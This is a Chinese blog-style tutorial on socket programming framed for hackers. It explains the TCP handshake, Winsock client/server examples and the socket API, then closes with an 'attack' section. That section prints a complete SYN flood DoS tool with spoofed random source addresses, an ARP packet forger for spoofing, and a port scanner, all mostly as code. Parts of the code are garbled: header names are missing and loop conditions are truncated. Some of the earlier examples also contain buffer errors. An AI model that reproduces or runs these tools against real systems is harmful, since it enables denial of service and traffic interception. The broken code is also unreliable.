大家都是知道在黑客网络攻防中，熟悉网络通信原理很重要，之前我也写过相关文章，只要了解通信过程，就可以利用过程中存在的漏洞进行攻防，那么在实现攻防的时候，作为一名黑客一定要学会网络编程，而网络编程中很重要的一个环节就是"Socket"的学习和使用！

今天就以本篇文章内容给小伙伴们详细阐述一下"Socket技术原理与实现"。

一、 什么是"Socket"

在网络中，根据IP我们可以识别具体的主机，再根据tcp协议+端口我们就可以识别具体主机通讯的进程了；那么socket在其中扮演者什么样的角色呢？

我们经常把socket定义为套接字，socket是在应用层和传输层之间的一个抽象层，它把TCP/IP层复杂的操作抽象为几个简单的接口供应用层调用已实现进程在网络中通信。 下面是网络分层以及socket在分层中的实际位置：

我们可以发现socket就在应用程序的传输层和应用层之间，设计了一个socket抽象层，传输层的底一层的服务提供给socket抽象层，socket抽象层再提供给应用层，问题又来了，应用层和socket抽象层之间和传输层，网络层之间如何通讯的呢，要想理解socket编程怎么通过socket关键词实现和客户端通讯，必须得实现的了解tcp/ip是怎么通讯的，在这个的基础上在去理解socket的握手通讯

在tcp/ip协议中，tcp通过三次握手建立起一个tcp的链接，大致如下

第一次握手：客户端尝试连接服务器，向服务器发送syn包，syn=j，客户端进入SYN_SEND状态等待服务器确认

第二次握手：服务器接收客户端syn包并确认（ack=j+1），同时向客户端发送一个SYN包（syn=k），即SYN+ACK包，此时服务器进入SYN_RECV状态

第三次握手：客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ack=k+1），此包发送完毕，客户端和服务器进入ESTABLISHED状态，完成三次握手

三次握手如下图

根据tcp的三次握手，socket也定义了三次握手，如下图：

在上面图的基础上，如果我们得到上面的图形，需要我们自己开发一些接口。所以程序大牛们将这些抽象化的理念接口化，针对协议提出的每个理念，专门的编写制定的接口，与其协议一一对应，形成了现在的socket标准规范，然后将其接口封装成可以调用的接口，供开发者使用，目前，开发者开发出了很多封装的类来完善socket编程，都是更加方便的实现刚开始socket通信的各个环节。

小结：

1、socket即为套接字，在TCP/IP协议中，"IP地址+TCP或UDP端口号"唯一的标识网络通讯中的一个进程，"IP地址+TCP或UDP端口号"就为socket。

2、在TCP协议中，建立连接的两个进程（客户端和服务器）各自有一个socket来标识，则这两个socket组成的socket pair就唯一标识一个连接。

3、socket本身就有"插座"的意思，因此用来形容网络连接的一对一关系，为TCP/IP协议设计的应用层编程接口称为socket API。

二、 socket通信基本原理

通过上面我们理解了socket通讯过程，那我们作为编程需要哪些函数来实现呢，如下：

第一次握手：客户端需要发送一个syn j 包，试着去链接服务器端，于是客户端我们需要提供一个链接函数

第二次握手：服务器端需要接收客户端发送过来的syn J+1 包，然后在发送ack包，所以我们需要有服务器端接受处理函数

第三次握手：客户端的处理函数和服务器端的处理函数

三次握手只是一个数据传输的过程，但是，我们传输前需要一些准备工作，比如将创建一个套接字，收集一些计算机的资源，将一些资源绑定套接字里面，以及接受和发送数据的函数等等，这些功能接口在一起构成了socket的编程

下面大致的按照客户端和服务端将所需的函数和原理过程：

首先，服务端初始化ServerSocket，然后对指定的端口进行绑定，接着对端口及进行监听，通过调用accept方法阻塞，此时，如果客户端有一个socket连接到服务端，那么服务端通过监听和accept方法可以与客户端进行连接。

socket通信基本原理明白后，那我们就写一个最简单的示例，来理解通信过程：

客户端的代码：

[cpp] 
1. #include <winsock2.h> 
2. #include <stdio.h> 
3. #pragma comment(lib,"ws2_32.lib") 
4. int main() 
5. { 
6. //SOCKET前的一些检查，检查协议库的版本，为了避免别的版本的socket，并且通过 
7. //WSAStartup启动对应的版本，WSAStartup的参数一个是版本信息，一个是一些详细的细节，注意高低位 
8. //WSAStartup与WSACleanup对应 
9. int err; 
10. WORD versionRequired; 
11. WSADATA wsaData; 
12. versionRequired=MAKEWORD(1,1); 
13. err=WSAStartup(versionRequired,&wsaData);//协议库的版本信息 
14. 
15. //通过WSACleanup的返回值来确定socket协议是否启动 
16. if (!err) 
17. { 
18. printf("客户端嵌套字已经打开!\n"); 
19. } 
20. else 
21. { 
22. printf("客户端的嵌套字打开失败!\n"); 
23. return 0;//结束 
24. } 
25. //创建socket这个关键词，这里想一下那个图形中的socket抽象层 
26. //注意socket这个函数，他三个参数定义了socket的所处的系统，socket的类型，以及一些其他信息 
27. SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0); 
28. 
29. //socket编程中，它定义了一个结构体SOCKADDR_IN来存计算机的一些信息，像socket的系统， 
30. //端口号，ip地址等信息，这里存储的是服务器端的计算机的信息 
31. SOCKADDR_IN clientsock_in; 
32. clientsock_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); 
33. clientsock_in.sin_family=AF_INET; 
34. clientsock_in.sin_port=htons(6000); 
35. 
36. //前期定义了套接字，定义了服务器端的计算机的一些信息存储在clientsock_in中， 
37. //准备工作完成后，然后开始将这个套接字链接到远程的计算机 
38. //也就是第一次握手 
39. 
40. connect(clientSocket,(SOCKADDR*)&clientsock_in,sizeof(SOCKADDR));//开始连接 
41. 
42. 
43. char receiveBuf[100]; 
44. 
45. //解释socket里面的内容 
46. recv(clientSocket,receiveBuf,101,0); 
47. printf("%s\n",receiveBuf); 
48. 
49. //发送socket数据 
50. send(clientSocket,"hello,this is client",strlen("hello,this is client")+1,0); 
51. 
52. //关闭套接字 
53. closesocket(clientSocket); 
54. //关闭服务 
55. WSACleanup(); 
56. return 0; 
57. } 

对应的服务端的代码：

[cpp] 
1. #include <winsock2.h> 
2. #include <stdio.h> 
3. #pragma comment(lib,"ws2_32.lib") 
4. int main() 
5. { 
6. //创建套接字，socket前的一些检查工作，包括服务的启动 
7. WORD myVersionRequest; 
8. WSADATA wsaData; 
9. myVersionRequest=MAKEWORD(1,1); 
10. int err; 
11. err=WSAStartup(myVersionRequest,&wsaData); 
12. if (!err) 
13. { 
14. printf("已打开套接字\n"); 
15. } 
16. else 
17. { 
18. //进一步绑定套接字 
19. printf("嵌套字未打开!"); 
20. return 0; 
21. } 
22. SOCKET serSocket=socket(AF_INET,SOCK_STREAM,0);//创建了可识别套接字 
23. //需要绑定的参数，主要是本地的socket的一些信息。 
24. SOCKADDR_IN addr; 
25. addr.sin_family=AF_INET; 
26. addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);//ip地址 
27. addr.sin_port=htons(6000);//绑定端口 
28. 
29. bind(serSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR));//绑定完成 
30. listen(serSocket,5);//其中第二个参数代表能够接收的最多的连接数 
31. 
32. SOCKADDR_IN clientsocket; 
33. int len=sizeof(SOCKADDR); 
34. while (1) 
35. { 
36. //第二次握手，通过accept来接受对方的套接字的信息 
37. SOCKET serConn=accept(serSocket,(SOCKADDR*)&clientsocket,&len);//如果这里不是accept而是conection的话。。就会不断的监听 
38. char sendBuf[100]; 
39. sprintf(sendBuf,"welcome %s to bejing",inet_ntoa(clientsocket.sin_addr));//找对对应的IP并且将这行字打印到那里 
40. //发送信息 
41. send(serConn,sendBuf,strlen(sendBuf)+1,0); 
42. char receiveBuf[100];//接收 
43. recv(serConn,receiveBuf,strlen(receiveBuf)+1,0); 
44. printf("%s\n",receiveBuf); 
45. closesocket(serConn);//关闭 
46. WSACleanup();//释放资源的操作 
47. } 
48. return 0; 
49. } 

三、 Socket下的函数详解

用程序在使用套接字前，首先必须拥有一个套接字，系统调用socket()向应用程序提供创建套接字的手段，其调用格式如下：

[cpp] 
1. SOCKET PASCAL FAR socket(int af, int type, int protocol) 

该调用要接收三个参数：af、type、protocol。参数af指定通信发生的区域：AF_UNIX、AF_INET、AF_NS等，而DOS、WINDOWS中仅支持AF_INET，它是网际网区域。因此，地址族与协议族相同。参数type 描述要建立的套接字的类型。这里分三种：

（1）一是TCP流式套接字(SOCK_STREAM)提供了一个面向连接、可靠的数据传输服务，数据无差错、无重复地发送，且按发送顺序接收。内设流量控制，避免数据流超限；数据被看作是字节流，无长度限制。文件传送协议（FTP）即使用流式套接字。

（2）二是数据报式套接字(SOCK_DGRAM)提供了一个无连接服务。数据包以独立包形式被发送，不提供无错保证，数据可能丢失或重复，并且接收顺序混乱。网络文件系统（NFS）使用数据报式套接字。

（3）三是原始式套接字(SOCK_RAW)该接口允许对较低层协议，如IP、ICMP直接访问。常用于检验新的协议实现或访问现有服务中配置的新设备。

参数protocol说明该套接字使用的特定协议，如果调用者不希望特别指定使用的协议，则置为0，使用默认的连接模式。根据这三个参数建立一个套接字，并将相应的资源分配给它，同时返回一个整型套接字号。因此，socket()系统调用实际上指定了相关五元组中的"协议"这一元。

1、指定本地地址──bind()

当一个套接字用socket()创建后，存在一个名字空间(地址族)，但它没有被命名。bind()将套接字地址（包括本地主机地址和本地端口地址）与所创建的套接字号联系起来，即将名字赋予套接字，以指定本地半相关。其调用格式如下：

[cpp] 
1. int PASCAL FAR bind(SOCKET s, const struct sockaddr FAR * name, int namelen); 

参数s是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。参数name 是赋给套接字s的本地地址（名字），其长度可变，结构随通信域的不同而不同。namelen表明了name的长度。如果没有错误发生，bind()返回0。否则返回SOCKET_ERROR。

2、建立套接字连接──connect()与accept()

这两个系统调用用于完成一个完整相关的建立，其中connect()用于建立连接。accept()用于使服务器等待来自某客户进程的实际连接。

connect()的调用格式如下：

[cpp] 
1. int PASCAL FAR connect(SOCKET s, const struct sockaddr FAR * name, int namelen); 

参数s是欲建立连接的本地套接字描述符。参数name指出说明对方套接字地址结构的指针。对方套接字地址长度由namelen说明。

如果没有错误发生，connect()返回0。否则返回值SOCKET_ERROR。在面向连接的协议中，该调用导致本地系统和外部系统之间连接实际建立。

由于地址族总被包含在套接字地址结构的前两个字节中，并通过socket()调用与某个协议族相关。因此bind()和connect()无须协议作为参数。

accept()的调用格式如下：

[cpp] 
1. SOCKET PASCAL FAR accept(SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen); 

参数s为本地套接字描述符，在用做accept()调用的参数前应该先调用过listen()。addr 指向客户方套接字地址结构的指针，用来接收连接实体的地址。addr的确切格式由套接字创建时建立的地址族决定。addrlen 为客户方套接字地址的长度（字节数）。如果没有错误发生，accept()返回一个SOCKET类型的值，表示接收到的套接字的描述符。否则返回值INVALID_SOCKET。

accept()用于面向连接服务器。参数addr和addrlen存放客户方的地址信息。调用前，参数addr 指向一个初始值为空的地址结构，而addrlen 的初始值为0；调用accept()后，服务器等待从编号为s的套接字上接受客户连接请求，而连接请求是由客户方的connect()调用发出的。当有连接请求到达时，accept()调用将请求连接队列上的第一个客户方套接字地址及长度放入addr 和addrlen，并创建一个与s有相同特性的新套接字号。新的套接字可用于处理服务器并发请求。

四个套接字系统调用，socket()、bind()、connect()、accept()，可以完成一个完全五元相关的建立。socket()指定五元组中的协议元，它的用法与是否为客户或服务器、是否面向连接无关。bind()指定五元组中的本地二元，即本地主机地址和端口号，其用法与是否面向连接有关：在服务器方，无论是否面向连接，均要调用bind()，若采用面向连接，则可以不调用bind()，而通过connect()自动完成。若采用无连接，客户方必须使用bind()以获得一个唯一的地址。

3、监听连接──listen()

此调用用于面向连接服务器，表明它愿意接收连接。listen()需在accept()之前调用，其调用格式如下：

[cpp] 
1. int PASCAL FAR listen(SOCKET s, int backlog); 

参数s标识一个本地已建立、尚未连接的套接字号，服务器愿意从它上面接收请求。backlog表示请求连接队列的最大长度，用于限制排队请求的个数，目前允许的最大值为5。如果没有错误发生，listen()返回0。否则它返回SOCKET_ERROR。

listen()在执行调用过程中可为没有调用过bind()的套接字s完成所必须的连接，并建立长度为backlog的请求连接队列。

调用listen()是服务器接收一个连接请求的四个步骤中的第三步。它在调用socket()分配一个流套接字，且调用bind()给s赋于一个名字之后调用，而且一定要在accept()之前调用。

4、数据传输──send()与recv()

当一个连接建立以后，就可以传输数据了。常用的系统调用有send()和recv()。

send()调用用于s指定的已连接的数据报或流套接字上发送输出数据，格式如下：

[cpp] 
1. int PASCAL FAR send(SOCKET s, const char FAR *buf, int len, int flags); 

参数s为已连接的本地套接字描述符。buf 指向存有发送数据的缓冲区的指针，其长度由len 指定。flags 指定传输控制方式，如是否发送带外数据等。如果没有错误发生，send()返回总共发送的字节数。否则它返回SOCKET_ERROR。

recv()调用用于s指定的已连接的数据报或流套接字上接收输入数据，格式如下：

[cpp] 
1. int PASCAL FAR recv(SOCKET s, char FAR *buf, int len, int flags); 

参数s 为已连接的套接字描述符。buf指向接收输入数据缓冲区的指针，其长度由len 指定。flags 指定传输控制方式，如是否接收带外数据等。如果没有错误发生，recv()返回总共接收的字节数。如果连接被关闭，返回0。否则它返回SOCKET_ERROR。

输入/输出多路复用──select()

select()调用用来检测一个或多个套接字的状态。对每一个套接字来说，这个调用可以请求读、写或错误状态方面的信息。请求给定状态的套接字集合由一个fd_set结构指示。在返回时，此结构被更新，以反映那些满足特定条件的套接字的子集，同时， select()调用返回满足条件的套接字的数目，其调用格式如下：

[cpp] 
1. int PASCAL FAR select(int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout); 

参数nfds指明被检查的套接字描述符的值域，此变量一般被忽略。

参数readfds指向要做读检测的套接字描述符集合的指针，调用者希望从中读取数据。参数writefds 指向要做写检测的套接字描述符集合的指针。exceptfds指向要检测是否出错的套接字描述符集合的指针。timeout指向select()函数等待的最大时间，如果设为NULL则为阻塞操作。select()返回包含在fd_set结构中已准备好的套接字描述符的总数目，或者是发生错误则返回SOCKET_ERROR。

5、关闭套接字──closesocket()

closesocket()关闭套接字s，并释放分配给该套接字的资源；如果s涉及一个打开的TCP连接，则该连接被释放。closesocket()的调用格式如下：

[cpp] 
1. BOOL PASCAL FAR closesocket(SOCKET s); 

参数s待关闭的套接字描述符。如果没有错误发生，closesocket()返回0。否则返回值SOCKET_ERROR。

四、黑客如何利用socket编程实现网络攻击

1、 DDOS攻击实例

#include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include
 void send_tcp(int sockfd,struct sockaddr_in *addr); 
 unsigned short check_sum(unsigned short *addr,int len); 
 
 int main(int argc,char **argv) 
 { 
 int DESTPORT; 
 int sockfd; 
 struct sockaddr_in addr; 
 struct hostent *host; 
 int on=1; 
 
 if(argc != 3) 
 { 
 fprintf(stderr,"Usage:dos host port./n"); 
 exit(1); 
 } 
 DESTPORT = atoi(argv[2]); 
 printf("no is attacking host %s with port %d../n",argv[1],DESTPORT); 
 //printf("ok started!/n"); 
 bzero(&addr,sizeof(struct sockaddr_in)); 
 addr.sin_family=AF_INET; 
 addr.sin_port=htons(DESTPORT); 
 
 if(inet_aton(argv[1],&addr.sin_addr)==0) 
 { 
 host=gethostbyname(argv[1]); 
 if(host==NULL) 
 { 
 fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno)); 
 exit(1); 
 } 
 addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
 } 
 
 /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ 
 
 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
 if(sockfd<0) 
 { 
 fprintf(stderr,"Socket Error:%s/n/a",strerror(errno)); 
 exit(1); 
 } 
 /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ 
 
 setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
 
 /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ 
 setuid(getpid()); 
 
 /********* 发送炸弹了!!!! ****/ 
 send_tcp(sockfd,&addr); 
 } 
 
 
 
 /******* 发送炸弹的实现 *********/ 
 void send_tcp(int sockfd,struct sockaddr_in *addr) 
 { 
 char buffer[100]; /**** 用来放置我们的数据包 ****/ 
 struct ip *ip; 
 int i; 
 struct tcphdr *tcp; 
 int head_len; 
 
 /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ 
 
 head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
 
 bzero(buffer,100); 
 
 
 /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ 
 ip=(struct ip *)buffer; 
 ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ 
 ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ 
 ip->ip_tos=0; /** 服务类型 **/ 
 ip->ip_len=htons(head_len); /** IP数据包的长度 **/ 
 ip->ip_id=0; /** 让系统去填写吧 **/ 
 ip->ip_off=0; /** 和上面一样,省点时间 **/ 
 ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ 
 ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ 
 ip->ip_sum=0; /** 校验和让系统去做 **/ 
 ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ 
 
 /******* 开始填写TCP数据包 *****/ 
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
 tcp->source=htons(LOCALPORT); 
 tcp->dest=addr->sin_port; /** 目的端口 **/ 
 tcp->seq=random(); 
 tcp->ack_seq=0; 
 tcp->doff=5; 
 tcp->syn=1; /** 我要建立连接 **/ 
 tcp->check=0; 
 
 
 /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
 while(1) 
 { 
 /** 你不知道我是从那里来的,慢慢的去等吧! **/ 
 ip->ip_src.s_addr=random(); 
 
 /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
 /** 下面这条可有可无 */ 
 tcp->check=check_sum((unsigned short *)tcp, 
 sizeof(struct tcphdr)); 
 sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
 } 
 } 
 
 /* 下面是首部校验和的算法,偷了别人的 */ 
 unsigned short check_sum(unsigned short *addr,int len) 
 { 
 register int nleft=len; 
 register int sum=0; 
 register short *w=addr; 
 short answer=0; 
 
 while(nleft>1) 
 { 
 sum+=*w++; 
 nleft-=2; 
 } 
 if(nleft==1) 
 { 
 *(unsigned char *)(&answer)=*(unsigned char *)w; 
 sum+=answer; 
 } 
 
 sum=(sum>>16)+(sum&0xffff); 
 sum+=(sum>>16); 
 answer=~sum; 
 return(answer); 
 }

2、 arp攻击实例

#include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 /*#include */ 
 #include 
 #include 
 
 #define ETH_HW_ADDR_LEN 6 
 #define IP_ADDR_LEN 4 
 #define ARP_FRAME_TYPE 0x0806 
 #define ETHER_HW_TYPE 1 
 #define IP_PROTO_TYPE 0x0800 
 #define OP_ARP_REQUEST 2 
 
 #define DEFAULT_DEVICE "eth0" 
 
 char usage[]={"send_arp: sends out custom ARP packet./n 
 /tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times /n/n"}; 
 
 struct arp_packet { 
 u_char targ_hw_addr[ETH_HW_ADDR_LEN]; 
 u_char src_hw_addr[ETH_HW_ADDR_LEN]; 
 u_short frame_type; 
 u_short hw_type; 
 u_short prot_type; 
 u_char hw_addr_size; 
 u_char prot_addr_size; 
 u_short op; 
 u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; 
 u_char sndr_ip_addr[IP_ADDR_LEN]; 
 u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; 
 u_char rcpt_ip_addr[IP_ADDR_LEN]; 
 u_char padding[18]; 
 }; 
 
 void die(char *); 
 void get_ip_addr(struct in_addr*,char*); 
 void get_hw_addr(char*,char*); 
 
 int main(int argc,char** argv){ 
 
 struct in_addr src_in_addr,targ_in_addr; 
 struct arp_packet pkt; 
 struct sockaddr sa; 
 int sock; 
 int j,number; 
 
 if(argc != 6)die(usage); 
 
 sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)); 
 if(sock<0){ 
 perror("socket error!"); 
 exit(1); 
 } 
 
 number = atoi(argv[5]); 
 pkt.frame_type = htons(ARP_FRAME_TYPE); 
 pkt.hw_type = htons(ETHER_HW_TYPE); 
 pkt.prot_type = htons(IP_PROTO_TYPE); 
 pkt.hw_addr_size = ETH_HW_ADDR_LEN; 
 pkt.prot_addr_size = IP_ADDR_LEN; 
 pkt.op=htons(OP_ARP_REQUEST); 
 
 get_hw_addr(pkt.targ_hw_addr,argv[4]); 
 get_hw_addr(pkt.rcpt_hw_addr,argv[4]); 
 get_hw_addr(pkt.src_hw_addr,argv[2]); 
 get_hw_addr(pkt.sndr_hw_addr,argv[2]); 
 
 get_ip_addr(&src_in_addr,argv[1]); 
 get_ip_addr(&targ_in_addr,argv[3]); 
 
 memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); 
 memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); 
 
 bzero(pkt.padding,18); 
 
 strcpy(sa.sa_data,DEFAULT_DEVICE); 
 for (j=0;j { 
 if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){ 
 perror("sendto"); 
 exit(1); 
 } 
 printf("now is sending the num: %i packet/n",j); 
 } 
 exit(0); 
 } 
 
 void die(char* str){ 
 fprintf(stderr,"%s/n",str); 
 exit(1); 
 } 
 
 void get_ip_addr(struct in_addr* in_addr,char* str){ 
 
 struct hostent *hostp; 
 
 in_addr->s_addr=inet_addr(str); 
 if(in_addr->s_addr == -1){ 
 if( (hostp = gethostbyname(str))) 
 bcopy(hostp->h_addr,in_addr,hostp->h_length); 
 else { 
 fprintf(stderr,"send_arp: unknown host %s/n",str); 
 exit(1); 
 } 
 } 
 } 
 
 void get_hw_addr(char* buf,char* str){ 
 
 int i; 
 char c,val; 
 
 for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address"); 
 if(isdigit(c)) val = c-'0'; 
 else if(c >= 'a' && c <= 'f') val = c-'a'+10; 
 else die("Invalid hardware address"); 
 
 *buf = val << 4; 
 if( !(c = tolower(*str++))) die("Invalid hardware address"); 
 if(isdigit(c)) val = c-'0'; 
 else if(c >= 'a' && c <= 'f') val = c-'a'+10; 
 else die("Invalid hardware address"); 
 
 *buf++ |= val; 
 
 if(*str == ':')str++; 
 } 
 }

3、Socket类端口扫描器

import java.net.*;
import java.io.*;
//端口扫描
public class JPortScanner {
private String host; //目标主机
private int fromPort; //起始端口
private int toPort; //结束端口
public JPortScanner(String host, int fromPort, int toPort) {
this.host = host;
this.fromPort = fromPort;
this.toPort = toPort;
}
public JPortScanner(String host) {
this(host, 1, 1023); //默认端口范围: 1-1023
}
public void start() {
Socket connect = null;
for(int port=this.fromPort; port<=this.toPort; port++) {
try {
connect = new Socket(host, port);
System.out.println("开放端口: " + port);
}
catch(UnknownHostException e) {
System.err.println("无法识别主机: " + host);
break;
}
catch(IOException e) {
System.out.println("未响应端口: " + port);
}
finally {
try {
connect.close();
}catch(Exception e) {}
}
}
}
public static void main(String[] args) {
if(args.length == 1) {//命令行参数指定主机
(new JPortScanner(args[0])).start();
}
else if(args.length == 3) {//命令行参数指定主机、起始端口和结束端口
(new JPortScanner(args[0],
Integer.parseInt(args[1]),Integer.parseInt(args[2]))).start();
}
else { //命令格式
System.out.println("Usage:java JPortScanner [FromPort] [ToPort]");
}
}
}